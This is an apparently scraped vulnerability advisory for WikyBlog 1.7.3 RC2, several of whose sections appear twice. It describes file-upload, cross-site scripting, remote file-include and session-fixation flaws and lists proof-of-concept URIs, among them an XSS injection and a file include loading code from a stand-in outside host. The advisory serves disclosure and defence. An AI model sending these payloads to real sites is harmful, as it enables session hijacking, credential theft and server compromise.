WikyBlog Multiple Remote Input Validation Vulnerabilities
BID:38386
Info
WikyBlog Multiple Remote Input Validation Vulnerabilities
| Bugtraq ID: | 38386 |
| Class: | Input Validation Error |
| CVE: |
CVE-2010-0756 CVE-2010-0757 CVE-2010-0754 CVE-2010-0755 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 24 2010 12:00AM |
| Updated: | Apr 13 2015 09:02PM |
| Credit: | indoushka |
| Vulnerable: |
WikyBlog WikyBlog 1.7.3 RC2 |
| Not Vulnerable: | |
Discussion
WikyBlog Multiple Remote Input Validation Vulnerabilities
WikyBlog is prone to multiple vulnerabilities, including an arbitrary-file-upload issue, a cross-site scripting issue, a remote file-include issue, and a session-fixation issue.
Attackers can exploit these issues to:
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
- steal cookie-based authentication credentials.
- upload arbitrary PHP scripts and run them in the context of the webserver.
- compromise the application and the underlying system.
- hijack a user's session and gain unauthorized access to the affected application.
WikyBlog 1.7.3rc2 is vulnerable; other versions may also be affected.
WikyBlog is prone to multiple vulnerabilities, including an arbitrary-file-upload issue, a cross-site scripting issue, a remote file-include issue, and a session-fixation issue.
Attackers can exploit these issues to:
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
- steal cookie-based authentication credentials.
- upload arbitrary PHP scripts and run them in the context of the webserver.
- compromise the application and the underlying system.
- hijack a user's session and gain unauthorized access to the affected application.
WikyBlog 1.7.3rc2 is vulnerable; other versions may also be affected.
Exploit / POC
WikyBlog Multiple Remote Input Validation Vulnerabilities
An attacker can exploit these issues via a browser. To exploit the cross-site scripting and session-fixation issues, the attacker needs to entice a user to follow a malicious link.
The following example URIs are available:
File upload:
http://www.example.com/Wiky/index.php/Attach/(your name)?cmd=uploadform
Cross-site scripting:
http://www.example.com/Wiky/index.php/Special/Main/Templates?cmd=copy&which=<img+src=http://www.example.com/HomeComputer.jpg+onload=alert(213771818860)>
Session fixation:
http://www.example.com/Wiky/index.php/Comment/Main/;jsessionid=indoushkasessionfixation
http://www.example.com/Wiky/index.php/Comment/Main/Home_Wiky/;jsessionid=indoushkasessionfixation
http://www.example.com/Wiky/index.php/Edit/Main/;jsessionid=indoushkasessionfixation
Remote file include:
http://www.example.com/Wiky/include/WBmap.php?langFile=http://www.example2.com/c.txt?
An attacker can exploit these issues via a browser. To exploit the cross-site scripting and session-fixation issues, the attacker needs to entice a user to follow a malicious link.
The following example URIs are available:
File upload:
http://www.example.com/Wiky/index.php/Attach/(your name)?cmd=uploadform
Cross-site scripting:
http://www.example.com/Wiky/index.php/Special/Main/Templates?cmd=copy&which=<img+src=http://www.example.com/HomeComputer.jpg+onload=alert(213771818860)>
Session fixation:
http://www.example.com/Wiky/index.php/Comment/Main/;jsessionid=indoushkasessionfixation
http://www.example.com/Wiky/index.php/Comment/Main/Home_Wiky/;jsessionid=indoushkasessionfixation
http://www.example.com/Wiky/index.php/Edit/Main/;jsessionid=indoushkasessionfixation
Remote file include:
http://www.example.com/Wiky/include/WBmap.php?langFile=http://www.example2.com/c.txt?
Solution / Fix
WikyBlog Multiple Remote Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
WikyBlog Multiple Remote Input Validation Vulnerabilities
References:
References:
- WikyBlog Homepage (WikyBlog)
- WikyBlog 1.7.3RC2 XSS vulnerability (Stefan Schurtz)